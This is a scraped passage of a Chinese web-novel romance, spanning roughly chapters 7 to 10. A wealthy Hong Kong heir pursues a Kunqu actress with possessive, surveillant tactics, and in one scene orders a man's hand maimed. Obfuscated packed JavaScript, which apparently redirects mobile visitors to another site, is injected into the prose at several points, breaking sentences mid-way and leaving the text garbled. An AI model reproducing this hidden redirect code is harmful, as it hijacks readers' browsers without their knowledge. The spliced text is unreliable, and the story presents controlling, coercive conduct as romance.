l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664662|172940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并且锻炼强度还不算小。 温如琢匆匆瞥了一眼就收回目光。 周思珩抬了抬下巴,有点不大熟练同她讲普通话。 “是谢我雨中搭救,还是谢我为你仗义出头?” “都谢谢。” 温如琢低下头,慢慢说了这一句,她发现自己在这一方面总不是周思珩的对手,他太狡猾,让她除了远离,几乎没有招架能力。 车里打了充足的暖气,空气里萦绕着好闻的乌木沉香,似乎格外有令人安眠的作用,头顶的星空顶如钻石一般璀璨闪耀。 身边坐着的男人没在说话,存在感却令人难以忽视。 温如琢觉得整个密闭空间都是他的气息,她很难沉静下一颗心来,也完全忽视这辆车行驶的终途。 车在金水湾门口停下,这座以弯月型海景出名的海湾,是周思珩独立家族,置下的第一片产业。 回国以后,他大部分时间都住在这里。 在安保敬礼注视的目光下,周思珩摆摆手,谢绝女佣靠上来的身体,弯腰亲自将在车里昏睡的女孩抱起。 同时,他吩咐唐钰洲,“把车里的味道清洗干净。” 将她安置在柔软床榻,周思珩还有点杂事要处理。 昏昏沉沉的仇绍康被帮在负一层地下储藏室,指纹锁解开密码,地下室腐朽湿潮的气息扑面而来。 人还没醒,周思珩抬了抬下巴,一桶冰水浇下去,什么高浓度的酒精都烟消云散。 他手下压着半个小时前助手传来的资料,从仇绍康第一天出现在温如琢的视线里开始记录,每一件事都明晰。 其中还包括他买通保安,打算偷偷溜进更衣室实施□□行为。 不过那天因为温如琢临时请假而未遂。 周思珩手指滴答滴答叩在桌面上,舌尖抵着后牙,发出不耐地“啧”声。 他以一种居高临下的姿态俯视眼前的仇绍康。 问他:“你动了我的女人,这笔帐要怎样算?” 仇绍康从地上爬起来,冰水终于将他混账的头脑冲醒,他不敢去想前因后果,只忙不迭磕头请罪。 谁不知道周家的背景,早年叱咤黑白两道,这些年金盆洗手走了正经地产生意,但背地里的势力仍是不容小觑。 仇绍康只想保住一条命。 却还是不大诚心地讲:“您打我一顿出出气吧。” “为个女人伤和气唔值得。” “是吗?” 周思珩偏了下头,脸上的笑容没有减,漫不经心吩咐道,“阿生,废他只手。” 男人的惨叫声随即响起。 周思珩面色不变,慢慢走下去,仇绍康趴伏在地面上,他脚尖踢了踢另一只手。 冷漠地问:“这只手碰她没?” 他看仇绍康眼神像垃圾,带着点漫不经心地语气说,“死亡是多简单的事情,我从来不做这样的好事。” 这句轻飘飘的话将仇绍康的意志彻底击溃。 他红着眼要冲上来,一秒钟就被守在一旁的保镖制服。 空气中扬起的尘沙令周思珩向后退了一步,与此同时,陈雨生走到周思珩身后,向他低声汇报。 “温小姐还未醒,医生来看过了,身体无大碍,只是有点发烧,另外——” 陈雨生顿了下,继续讲下去。 “温小姐的手机一直在响,一位备注名为阿铎的男人一直在给她打电话,因为属于她的私人用品,我们没敢擅自动。” 程嘉铎。 这个名字周思珩不知道念过多少遍,他点了点头,走出去,进入她的房间拿过手机。 电话仍在不停的响着,刺耳的铃声扰得她似乎睡的不大安宁。 周思珩屏退所有人,自己慢慢坐在她的床边。 他伸手慢慢掖平她的被角,一边漫不经心摁下接听键。 “我是周思珩,你是哪位?” 8. chapter08 08 电话被接通的那一霎那,程嘉铎急不可耐地喊了一声“皎皎”。 突然出现的低沉男音令他一恍惚,尤其是对方理所当然的语气让他忍不住怀疑,自己是否打错电话。 难道他打的不是女友温如琢的电话? 程嘉铎怀疑的又检查了一遍号码,核对无误以后,他脑子里忽然灵光一现。 周思珩……这个名字好生耳熟,他听过,见过,似乎就在家里每天必读的港岛日报上见过这个风头无两的男人。 这样的男人怎么会和他的皎皎扯上关系? 程嘉铎沉下声来:“周先生,我是温如琢的男朋友,请问现下她在哪里?” “在我家里。”周思珩答道,“她发烧昏睡过去,现下在我卧室床上。” 理智再三将克制的情绪压下,在此时此刻,一整天没联系上人的焦虑情绪也终于爆发。 程嘉铎终于忍不住问:“她为什么会和你在一起?我需要联系她。” 周思珩慢条斯理地笑:“我以为你会先关心,她为什么会发烧,为什么今天下午和你姐姐见面的事情不敢同你说。” 程嘉铎忽然不说话了。 在这样的沉默里,周思珩了然地勾了勾唇角,一不小心失手把手机抛进床未收的伏特加酒杯里。 * 位于金水湾不远处的一家私人靶场今日难得开放,门口停了几辆顶级豪车,清一水的保镖站在门口待命,任谁看都要赞一副好大阵架。 但这是周家人再平常不过的出行阵仗,豪门辛密多,纷争也多,抢劫绑架简直就像吃饭一样平常。 周家有个孩子幼年时就被绑匪绑走,为此全家配备最新安保设施,也因此,周思珩童年时,从来没过过自由时光。 甚至他大学出国,都是先斩后奏,和周澍嘉里应外合逃过家里监视才能落实。 今天周澍嘉带着妹妹来放风筝,多无理取闹的大小姐,非要说靶场视野宽阔,空气清新,更利于身心修养。 恰巧周思珩也闲的无聊,应下这场邀约。 周澍嘉懒得玩,有点懒洋洋地靠在椅背上晒太阳,有一搭没一搭地和他说话。 “怎么舍得一个月不见?”他笑着打趣,“以前我不知道你是这么老实的人啊。” 周思珩脱掉外套,单手拎着一把□□擦拭,他扬起下巴,拎在手里掂了掂,视线凌厉。 “有点儿吓到她了,给点时间缓缓。” “那现在呢?”周澍嘉意有所指,“我还以为你今天不会出来了呢。” 周思珩笑了笑,缓缓俯下身,把枪压在右肩窝的位置,指节下压,扣住板机。 一道极强的后坐力随着子弹一同迸发。 正中靶心。 周思珩打了个响指,锋利下颌微微扬起,他摘下护目镜,随意抓了一把被风吹乱的头发。 他声音很冷淡,符合一贯调性,说出来的话却不是—— 周思珩说:“自由给过头,她反而受了伤,手里松掉的线该紧一紧,才能让这只风筝重新回到我的天空。” 离靶场不远处的一块清场空地,属于周芙嘉的那只粉色蝴蝶风筝在湛蓝天空高高飞着。 忽然远处惊呼一声,不知道是谁打落她的风筝。 大小姐气急败坏的声音传过来,周澍嘉头疼地捂住耳朵,赶紧说,“我以后一定要娶个聪明女人,这样才不至于让我太费心。” 周思珩从口袋里摸出一根细烟,金属打火机发出清脆一声,他凑过去点火,有点儿漫不经心地说。 “这哪能说得准。” 他也没想到会在港岛遇到这么个姑娘。 周澍嘉问他后面有什么打算,金屋藏娇也要有金屋藏娇的本事才是,总不可能一辈子隐忍不发,等着把上一辈熬死了才能承权。 他用一种看好戏的目光打趣道:“你这几天没回周公馆,我可听说你爸不少私生子赶着过去给老爷子献孝心呢。” “私生子?”周思珩眼皮懒懒一抬,“你爸没有吗?” 周澍嘉被噎得一下说不出来话,周家分了好几支,主支的一脉是周思珩的爷爷周庭云,周老爷子有两个儿子,周思珩的父亲周同天,是最小的那个儿子。 早年港岛未解放,男人还有三妻四妾,剩下的旁枝就是以前的二房,也是周澍嘉这一脉。 周思珩天生和他父亲周同天不对付。 两人不似父子,却像争权夺利的政敌。 周思珩带着刚刚子弹击中靶心的意气风发:“阿澍,我想要得到的,不会输。” * 从靶场出来,守在外面的陈雨生赶紧小跑过来汇报温如琢的情况。 实话说,这么多年,他还从来没见自家老大这么把一个人放在心上。 陈雨生说:“一个小时前医生又量了体温,体温已经降下来,只是人还在昏睡着,温小姐睡的不安宁,一直闹着要珍妮。” 周思珩皱了下眉头:“珍妮?” “是温小姐以前的一个洋娃娃,调查显示是她父亲送给她的十周岁生日礼物,产自licca的一个绝版系列,图片在这里。” 周思珩低下头去看,拥有波浪卷发的洋娃娃倒是和她有几分相似的美丽,原来也是个拥有阿贝贝情节的脆弱女孩。 他抬了抬下巴,吩咐道,“去找个一样的来。” …… 温如琢醒来的时候头痛欲裂,她好像发了一场烧,醒来以后浑身湿热。 听到动静的女佣捧着整洁的衣裙鱼贯而入,她被这架势吓了一跳,还以为误入中世界欧洲贵族城堡。 不过看屋内陈设装潢,这里亦有比贵族城堡不遑多让的奢华。 为首的女佣问:“您好,温小姐,请问您是否需要沐浴?” 身上粘湿的感觉的确不好受,温如琢有点惶恐地盯着眼前的人,十分警惕地问,“您好,请问这是在哪?” “这里是周先生的私人住所,医生说您体寒受凉,这几天要多休养,少劳累。” 温如琢终于想起来所有画面,在仇绍康和周思珩之间,她上了周思珩的车。 然后呢? 令人安心的乌木沉香,她也许太累,才会就这样不设防地在一个危险男人的车上睡着。 温如琢死死咬住下唇,暗道自己不警惕。 她下意识去摸口袋里的手机,指尖却只撩拨过轻柔如水的丝绸睡裙,这面料太光滑,每一寸丝织的痕迹都显示出不菲价值。 温如琢愕然地问:“我的衣服呢?” “送去清洗了,只是……”女佣面露难色,“要复原的难度很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664663|172940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抱歉温小姐。” 过分谦卑的态度令温如琢这个习惯了无产阶级教育的人很是不适,她抿住唇,掀开被子,提出要走的姿态。 女佣挡在她面前,态度柔和却坚定。 “您等周先生回来吧。” 周思珩什么时候回来?如果他一直不回来,岂不是她要一直住在这里? 婉拒了女佣亲自伺候她洗澡的好意,温如琢沉下身体,泡在足足可以容纳四个人的浴缸,简直像一个小型游泳池。 被调好的水温,别出心裁撒了新鲜花瓣,临走前,甚至贴心为她点上一支凝神静心的香薰蜡烛。 温如琢现在的心绪的确很不平,失去一切联络工作令她无法安心,掉入周思珩这座城堡的陷阱里同样也令她恐惧。 脑子里还有残留梦境的阵痛,就在刚刚昏睡的时候,温如琢做了一个好长的梦,梦里爸爸刚从香港回来,还为她带来一只限量版洋娃娃。 她为这只洋娃娃取名叫珍妮,把它当作自己的妹妹一样陪伴长大,后来要债的人上门,她的娃娃被像垃圾一样扔在脚下。 人们不小心把它玻璃珠一样漂亮的眼睛踩烂。 在那一天,她失去了她的珍妮,失去了她的爸爸,也失去了一切名为幸福的家。 浴室门被轻柔叩响,原来是女佣好意提醒,她泡澡的时间太长,会造成脑供血不足,引发晕厥。 温如琢应了一声,取过手边熨烫得没有一丝褶皱的连衣裙换上。 这是某品牌今年最新款的金色蝴蝶印花连衣裙,还没有正式对外发售,唯一一件温如琢只在秀场看见模特身上穿过。 重工提花面料,金色调的Allover Butterfly图案,仿若将一整个春天翩翩起舞的蝴蝶绣入。 温如琢小心翼翼穿上这件贵气异常的衣裙,常年练舞的步伐轻盈,她缓步走出去,摇摆的裙摆当真像一只轻盈蝴蝶。 坐在沙发上的周思珩缓缓抬头,然后目光定格—— 他轻轻笑了声,像是在肯定自己审美。 这件衣裙果然很衬她,两根吊带挂在她薄薄的肩背上,她天生有一把美人骨,皮肤白的像牛奶,半干长发温顺地垂在胸前,一双雾蒙蒙的眸子恰好看过来。 周思珩看见她因为惊吓而一下睁圆的眼睛。 好像他不应该出现在这里似的。 可是这里是他的家,他不出现在这里,又该出现在哪里? 周思珩唇角挂着笑容,皮鞋落在地板上的声音明显,预示着一步步朝她走近的步伐。 温如琢一颗心霎时间被提起来,被这压迫感逼的说不出来任何话。 周思珩抱着手臂,一副闲闲的模样。 他低着声音问: “听佣人说你很想见我?” 温如琢瞪大眼睛,只是醒来问候了一句,哪里就读出了这层含义! “才不是。” 她一下惊慌,生怕他读出更多含义,忙不迭否认。 “嗯。” 周思珩饶有兴致地点点头,像是认同一般问她。 “那你什么想法?说给我听听?” 盯着男人深谙幽黑的瞳孔,温如琢紧张的掌心泅出汗。 哪怕明知道他会不悦,她仍然硬着头皮开口—— “我想离开这里。” 9. chapter09 09 话音一落,满室寂然。 周思珩舌尖抵住后牙,血液里滚动某种因子,他随手从口袋里抽出一把瑞士军刀,手帕慢慢擦拭,唇角仍旧挂着慢条斯理的笑。 “你为什么总想离开我?” “我一直待在你身边才奇怪吧。”不想惹怒这位名副其实的太子爷,温如琢稍稍软了语气,“昨天多谢你搭救,也谢谢你的衣服。回头我干洗好了送给你,如果不行的话……我把钱给你。” 说到最后一句,温如琢气势陡然弱了下去。 她怎么会不知道这家衣裙高昂的价格,如果真要她还钱,那她恐怕要分期付款还上好几个月。 可她不想要和他纠缠不清几个月。 周思珩笑了笑,锐利的眸子早已读懂她飘忽的语气。 他还不至于要用一件衣裙捆绑她,这手段太低级,说出去要贻笑大方。 锋利的刀尖挑着一件粉红色缎带礼盒。 周思珩跨坐在沙发扶手上,懒散地勾着尾音。 “看看。” 温如琢伸手接过来,瑞士军刀折射出泠泠白光,刀面倒映她一张苍白紧张的脸庞。 她最先瞥到他握着刀柄的那双手,指节修长,骨节分明,漂亮得像是一双艺术家的手,就连握刀的姿态都显得如此矜贵。 他是不折不扣的天之骄子,为什么偏偏要和她扯上关系? 带着不理解的心情,温如琢扯开礼盒包装,熟悉的烫金字体令她瞳孔一缩,某些记忆浮现在脑海里。 她不敢置信地抬头看了周思珩一眼,后者低低笑了两声,貌似对她的反应很是满意。 礼盒里放着的是她的珍妮,栗棕色的长卷发,扑棱忽闪的睫毛,甚至连那件蓝底碎花的衣裙都一摸一样。 看见珍妮的一瞬间,温如琢就想到属于那段时光的记忆。 那是她最快乐的一年,那一年母亲是梨园最有名的角,父亲赴港拉到一大笔投资,他们家里盖了新房添了新衣。 珍妮是她最喜欢的宝贝,而她是温广秀掌心的公主。 温如琢眼角含了泪水,周思珩恰到好处抽来一张纸巾。 他就这样轻易击溃她最脆弱的心房,而低垂脖颈展露脆弱,恰好是一个猎人进攻的最好时机。 周思珩慢慢站起来,他的声音放低,因而显得格外温柔。 带着几分安抚的掌心压在她肩头:“我幼年时有很长一段时间跟着爷爷住在南城别院修养。” “听说你也是南城人?说不定我们见过。” 他的气息萦绕,然后渐渐逼近。 温如琢感伤的心一下收回,她直起腰,有点警惕地往后退了一步,拂开他落在肩头的手掌。 她仰起头满是疑惑地问:“不是说这个系列的娃娃在十年前就已经绝版不再发售了吗?” 家里被催债公司上门洗劫一空,这些恶劣的人沾染□□背景,居然一把火烧掉她的家。 这只活在记忆里的珍妮成了她对父亲最后的念想,这些年她找遍各种代购和二手卖家,却始终没有买到这个系列的。 周思珩微笑地看着她说:“至少在港岛,没有我办不成的事。” 年轻的女孩总带着一股不世故的天真,这也是温如琢最可爱的地方,在周思珩看来,她清澈见底的眼眸就好像他亲自为那只珍妮镶嵌上的蓝色宝石一样纯粹。 他却带着几分世故的老成诱惑她—— “皎皎,你有什么心愿是想要我帮你实现的吗?” 他在引诱她——如同上帝面前引诱夏娃吞食下禁果的恶蛇。 阴冷低沉的气息缠遍温如琢每一次肌肤,她忍不住打了一个冷颤,被他呼吸拂过的脖颈忍不住泛起细密的痒意。 因为他这一句话被勾起的诸多欲望浮现心头,温如琢想要在这里有一栋温暖舒适的住所,得以体面的同程家父母见面,她想要快点凑齐高昂的医疗费,拿下港团首席名额,将母亲接过来疗养身体。 然而同恶魔做交易是要付出代价的,她仰头望着周思珩,他微微弯腰俯身看向她的动作,即使是这样平等谦逊的姿态,他身上的侵略性依旧不减,幽暗深邃的瞳孔好像随时随地要将她吞噬。 温如琢不要做被黑夜吞下的贪婪者,不要做水晶球里麻木转动的舞者。 她摇摇头:“多谢您的好意,但不需要。” 意料之中的拒绝,周思珩不意外地直起身体。 他的手搭载沙发旁的一樽蛇形蜡烛摆台上,同她闲话家常。 “你知道昨天为什么方咏珊要约你出来吗?” 温如琢已经不意外周思珩为什么会知道她昨天去见了谁,她已经见识到他手眼通天的本事,就算此时此刻他将她昨天和方咏珊的对话完全复述一遍,她也完全不惊讶。 她问:“为什么?” 周思珩说:“昨天上午她同几个小姐妹参加一场时尚沙龙,看上我一朋友,故作心机把酒洒上人家衬衣,结果搭讪不成倒赔天价洗衣费。” 温如琢恍然大悟,所以当天下午方咏珊怒气冲冲约她出来,撒出来的火气一定是觉得她凭什么有这样的好运气,能够轻易跨越阶级,被程嘉铎选上。 港岛的阶级分层实在太明显,每个人都拼命往上爬,好像不到金字塔顶端就誓不罢休。 那这位已经站在塔尖的太子爷,也会有想要追逐的东西吗? 温如琢深吸一口气,把脑子里好奇想法抛出去。 城堡里的女佣送上两杯现磨咖啡,推来的三层餐车依次排列各式甜点和水果,精致程度不压于米其林五星餐厅。 周思珩拿了一杯浓缩萃取的Dirty,端着另外一杯香气甜郁的拿铁递给她。 出于礼貌,温如琢接下了。 她低下头小小抿了一口,心里盘算着离开的话术。 却听见周思珩温和嗓音响起,他说,“之前你男友打来电话,说想要见见你。” “那么温小姐,你想要见他吗?” “一个在大雨滂沱没有理会你的哭泣,一接通电话就质问你消失,在家人和女友面前反复摇摆不定的男友。” 周思珩低低笑了两声:“实话说,他如果给力,就不会有你我相遇的许多机会。“ 温如琢深深沉默下去,从程家第一次见面结束以后,程嘉铎就再也没有在她面前主动提过父母的话题。 她自然也知道他一直在家庭之间为难,大雨落下狼狈之时,周思珩一声又一声“你男友呢?”,如同击钟之锤叩击她的心。 在这样的时刻,温如琢只想一个人安静的呆一会。 她扭过头,不想见他,却还是伸手,“麻烦你把手机还给我,我给他打个电话,自己打车回去。” 周思珩无辜地耸了下肩膀。 “抱歉,不小心弄掉了你的手机,我赔你一个新的。” 他招了下手,唐钰洲递上一枚时下最新的女士手机。 温如琢目光落在他玩世不恭的脸上,一天一夜的动荡,深深的疲倦让她连一口计较的气都提不上来。 她无声地叹了口气,妥协的接过来,把电话卡插入,然后开机。 幸好赴港的电话卡本来就是新办的,手机里也没什么太多重要的消息,只是通讯录里的联系人都消失,要再费点心思重新存下。 温如琢视线定格在通讯录里唯一一个号码——署名是A周思珩。 她的心一颤,目光下意识望向他。 周思珩偏了下头:“留下这个联系方式,我再和你交换一个信息。” “你的男友上周参加了两场相亲会。” 一句简简单单的话,却如同晴天霹雳一般砍下,温如琢不敢置信地睁大眼睛,一是没想到程嘉铎会隐瞒这件事,二是她想起上周他们彼此都非常忙碌,统共就见了一次面,原来剩下的两天,他是去赴另一场约。 她脸上没什么大表情,握着咖啡杯的手却忍不住颤抖,因为摇晃不小心溅出的咖啡液有几滴落在周思珩价格高昂的白色衬衫。 “对不起……” 周思珩低笑着说没关系,他单手插兜悠闲朝她逼近,微微俯下的身体,偏头嘴唇擦过她长发,状似亲昵贴在她耳边呢喃—— “温小姐,你男友好像正在门外等你。” * 程嘉铎在门外已经等候良久,实话说,他已经很少有这样吃闭门羹的时候了。 程家在港岛算不上有名有姓的人家,但在一干普通出身的同学朋友面前,稍显富裕的他还是备受优待。 尤其是在这种女友在房内的时刻,焦虑的心情似乎将每一秒的时间刻度都拉拽的无限长。 他知道自己不该遐想,却还是忍不住无限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他目光淡淡落下来,漫不经心系着凌乱的衬衣纽扣,颇有一种事后清晨的慵懒,忽而抬起眼皮和程嘉铎对视的目光,是示威也是挑衅。 程嘉铎已经无法在这里待下去。 他怒气冲冲拉着温如琢就走,离停车的地方还有一段距离,路程也陡,脚下那双低跟的玛丽珍小白鞋磨得脚后跟都痛。 温如琢忍着痛走了一段路,到楼下的时候她终于忍不住甩开了他的手。 “阿铎,你冷静一点。” “你要我怎么冷静?”程嘉铎冷声开口,“女友失踪一整夜,最后是我亲自来别的男人房间接。” 这话很难听,温如琢抿住唇,心里很不好受。 她仍然耐心和他解释:“昨天下雨,我……心情不太好,又遇到别人纠缠我,恰好周思珩施以援手,后来我发高烧昏过去,在这里昏睡到了下午。” “挂水的针眼还在这里,不信你可以看。” 程嘉铎瞥过去,果然看见她发青的手掌,只是他心里仍有不快,语气不太好的质问,“你为什么总是和他接触?” “我明明和你说过,我不喜欢他。” 温如琢不知道为什么程嘉铎会对周思珩有这样莫名其妙的敌意,明明他们是没有任何相交的陌生人。 不想以后再因为这件事争吵,她耐下性子同他讲清楚。 “我没有和他主动接触过。” “只是我们有很多新戏都要在港岛大剧院上映,而周家是港岛大剧院最大的控股方,我听说周老爷子还是段教授的忠实粉丝,以后在工作上,我必不可少要和他打交道。” 程嘉铎说:“工作上打交道需要到家里来吗?” 他明显带着情绪说这样的话,温如琢眉头一蹙,终于忍不住,“我已经和你说过,今天是个意外。” “阿铎,我好累了,我们彼此都安静一下,收拾一下情绪好吗?” …… 九月港岛天气升入新高,空气燥热,时有骤雨。 酷热天气总令有情人多加无谓争吵,二楼花园露台,周思珩百无聊赖掬着一把鱼食喂鱼。 被拍出两千万一条的楼兰锦鲤,娇贵又难养。 周思珩随手撒下一把,偏过头懒懒望向站在楼下和男友对峙的温如琢。 他兴味地对站在一边的唐钰洲说—— “看,我的鱼儿上钩了。” 10. chapter10 10 自从恋爱期,温如琢和程嘉铎的第一次争吵,以一个冷战的姿态史无前例的爆发。 爆发的程度到最后连剧团的沈绵意都发现了。 她向来是马大哈的个性,此时此刻却敏锐发现一丝不对劲——剧团里萦绕的那股甜蜜氛围消失,插在茶几花瓶里的那束玫瑰花已经许久没有换新。 再加上温如琢近期愈发勤奋,几乎要24h泡在排练室的状态,沈绵意万分确认他们出现了感情危机。 什么叫感情危机呢? 用沈绵意的原话来说,就是情侣双方在相处过一段时间以后产生的两看生厌的状态,通常发生在甜蜜的热恋期消散以后。 温如琢觉得她这一番话实在有些夸大其词了。 休息的间隙,她靠在阳台栏杆上饮水,语气轻轻。 “不至于这么严重吧,我和阿铎只是发生点矛盾,彼此需要一点冷静的空间。” “那需要冷静这么久?”沈绵意夸张地捂住嘴巴,“你们有一个星期没联系了吧?情侣一个星期不见面牵手kiss,那还叫情侣?” “而且你知道什么叫情侣的正确吵架姿势吗?”沈绵意越说越激动,她四下看了眼,踮起脚凑过来低语,“真情侣从来不冷静思考,嘴上吵架床上炒饭,炒到热火朝天,总有人先低头。” 温如琢秒懂她的意思了。 她脸“噌”的一下红了,别过头,忍不住吐槽,“你说话好直接。” 沈绵意:“话糙理不糙。” “你不觉得你和程嘉铎状态很奇怪吗?他对你太有礼貌了,感觉你们有点相敬如宾……?” 沈绵意终于找出一个精准词语来描述,她一拍脑袋,对就是这样的感觉。 他们两个很登对,却没什么性张力,走在一起偶尔还像兄妹,毕竟程嘉铎永远谦谦有礼。 温如琢抿住唇,有点不理解的想沈绵意这段话。 她是不习惯感情出击的人,程嘉铎也是足够内敛的人,除了上次的事,一年的恋爱中他们从来没有发生过任何不愉悦的争吵。 他对她几乎是百依百顺,甚至是在接吻的时候,也要注视着她的眼睛,轻声征得她同意。 “不过他的确是个不错的恋爱对象,不抽烟不喝酒不泡吧,尊重女生又有礼貌。” 沈绵意建议道:“如果你想要和他继续恋爱,皎皎,我觉得你可以主动点。” 温如琢没想和程嘉铎分手。 她只是想要给他留有理清思绪的空间,同时,她知道他最近很忙,新公司的进展筹备不顺,几乎无暇顾及其他。 作为他的女友,她只是想要表现的懂事、体贴一点。 但这好像不是甜蜜恋爱的状态,至少在沈绵意的眼中。 那么正常心动恋爱的状态是什么样? 温如琢偏过头,有点疑惑的想—— * 周公馆已经许久没有这样热闹过。 这座依山傍水而建的中式庭院,由周家现任掌权人周庭云40亿港币招标而建。 当时全世界顶尖设计师蜂拥而至,拿到设计草图的时候却大失所望,周老爷子想要的不是什么精美绝伦足够在建筑史上留下浓墨重彩一笔的城堡宫殿。 他想要的仅仅只是一座略显简单的中式园林,绿竹碧波流云,檐下小扇轻摇,是来源于一场年少绮幻旧梦。 于是就有了现在的周公馆,占地逾五千平方英尺的中式园林,流水潺潺,假山林立,雕栏画栋的中式落地窗将园内景色巧妙嵌入,形成一幅浪漫无比的江南水墨图。 周思珩穿过一道湖石造景的宋式古亭, “给爷爷的礼物,拿去包装一下。” 是段梅英最经典的典藏版唱片,这东西不难搞,最难的是上面有她手抄的词本,世间几乎没有第二本。 周思珩微微一笑,多晶莹剔透的女孩,他只是略微点了一句,“我爷爷很喜欢段教授。” 她便立刻奉上,想要同他扯开关系。 唐钰洲恍然大悟:“所以您最近接触她,只是为了投其所好?” 唐钰洲开玩笑道:“我还以为你爱上她了。” 周思珩扬了扬眉毛,反问她,“爱是什么东西?” 如果是别人,会以为轻狂,但如果是周思珩,却不让人这么觉得。 他是真的不知道这是什么东西,被财富滋养长大的权贵,爱是最不缺的东西,他招招手,世界所有的爱都像海浪一样涌来。 可这不是真的爱,唐钰洲在心里说。 可是他的身边哪里有真心实意的爱情?施鸿敏嫁给周同天,并不是因为爱,而是来源于一场对潜力股的加码。 最后的结果也的确尽如人意,周同光获得妻子在事业上的鼎力支撑,与此同时,施鸿敏也生下周思珩,稳坐周家夫人地位,只是谈起爱情,她总要变个脸色。 “我不需要明白什么是爱。” 周思珩还记得母亲裹着披肩,高抬下巴说出这句话的样子。他轻笑一声,手搭在黑桃木扶手上,略有慵懒地交叠双腿,将这句话重复了一遍。 然后分外倨傲地说—— “我只需要得到我的东西,你不觉得她的眼睛很漂亮吗?像宝石一样。” 唐钰洲挑了下眉毛,的确,比起爱情,华尔街上的股票涨势显然更有趣的多,做空一家公司的股票,像玩游戏一眼冷眼看一场虚荣经济泡沫的幻灭,比男女之情上的荷尔蒙更加令人兴奋。 这也是唐钰洲欣赏周思珩的一点,他总是顶着一副游戏人间的花花公子皮囊,做出点出人意料的成就。 却又很擅长隐藏,总让人觉得在玩,活脱脱一副败家二世祖的样子。 追求这位昆曲新晋花旦,应当也是伪装的一部分吧? 咚咚咚——门铃被敲响,周思珩说了一声“进来。” 统一穿着蓝灰色制服的佣人弯着腰走进来,这老套的制服颜色还是施鸿敏亲自订下来的,谁让周同天好色,是个稍微有点姿色的女人就能看上。 “太太请您下去。”佣人姿态谦卑而又恭顺地说,“说去晚了怕老爷子不高兴,其他几位少爷小姐已经到了。” 佣人说完这话,长久没有得到回应,正忐忑着偷偷抬头打量,冷不丁却瞥到男人扶手旁边沙发上的一只破旧小狗。 惊呼声立起,佣人赶忙上前收走,连声道歉,“不好意思,太太一早就让我扔掉,下午我忙着去布置宴席,忘记了,现在就扔。” “等一下——” 周思珩喊住了她,他眯着眼睛打量着这只突兀出现在他房间的玩偶,乱糟糟的炸毛发型,有点怪诞的造型,出现在他这间一尘不染的卧室里十足突兀。 他想了很久,突然恍然大悟地想到了这件物品的归属之地——是他衣帽间最下一格保险箱旁的柜子缝隙。 那里塞了一个窄小的箱子,放的东西却很简单,一些书、旧版的游戏机,还有这只小狗玩偶。 原来他也曾经有过自己的“珍妮”,像温如琢一样,不经意又想到这个名字,周思珩嘴角挑起一抹笑容,只是隐匿在暗色中的脸庞晦暗阴沉。 那时候,施鸿敏不允许他留下这个玩偶。 她蹲下身抚摸着他的脸颊,宛若慈母的语气说,“不可以,爷爷不喜欢你这样。” “爷爷喜欢有男子气概的阿珩,周家理想的继承人,不可以有柔软的心肠和脆弱的情感,也不要把感情寄托在一个什么都不懂的玩偶身上。” 连一只玩偶归属都没有权利决定,是他的过去。 长大以后,周思珩信奉的人生信条很简单——得到自己想要的东西就行。 他笑了笑,无所谓地挥了挥手,任由佣人拿下去处理。 一层的欢声笑语渐渐传至楼上,不用下楼也能想到这是怎样一副阖家欢乐的幸福场景,在这样的催促声里,周思珩反倒慢慢点了一根烟。 烟雾袅袅升起,他偏过头,打量着双手交叠,略弓身站立在一旁的唐钰洲。 “你算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664665|172940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加入我的阵营了吧?” 唐钰洲讶然地抬起头,这话太直白,像是挑明了一切。施鸿敏把他送过来只给了一个要求:不必事无巨细,只捡重要的汇报。 他一直谨慎而又圆滑的游离在这个灰色地带里。 然而此时此刻,周思珩似笑非笑的眼眸,以一个强势无比的姿态将全部看透。 他漫不经心扬起下巴,似乎对一切笃定—— “那么——给你看看我的底牌。” * 周家饭局永远不缺暗潮涌动。 将近六米长的长桌依次落座,正中央的位置以周庭云为首,按照辈分依次排开,右边是长子周同光,携妻梁明疏以及女儿。 从旋转扶梯上款款而下,周思珩单手插兜想了下,终于认出来坐在末端的是刚从美国学成回来的周暄妍。 周家似乎情缘天生浅薄,连子嗣也不兴旺,被周思珩唤作伯父的周同光与梁明疏也是对貌合神离的假夫妻,两个人坐在一起堪堪能维持着脸上微笑已经是极致。 再看坐在对面的施鸿敏,脸上隐隐有未散怒容,周思珩兴味地笑了声,估摸着席前刚同周同天吵过架。 他扬起下巴,大步朝主位上的人走过去。 周庭云一眼就看见了他,高高兴兴唤了声“仔仔”,不管多少年过去,老爷子总是用这样亲呢的称呼唤他。 这也是特属于周思珩的独一份宠爱。 “你坐这儿干什么?往后面挪一个去。”老爷子瞥了一眼下首的周同天,没好气地赶他走,欢欢喜喜拉着周思珩坐下来。 周思珩不客气,大大方方坐下来,他招招手,让佣人把备好的礼物送上来。 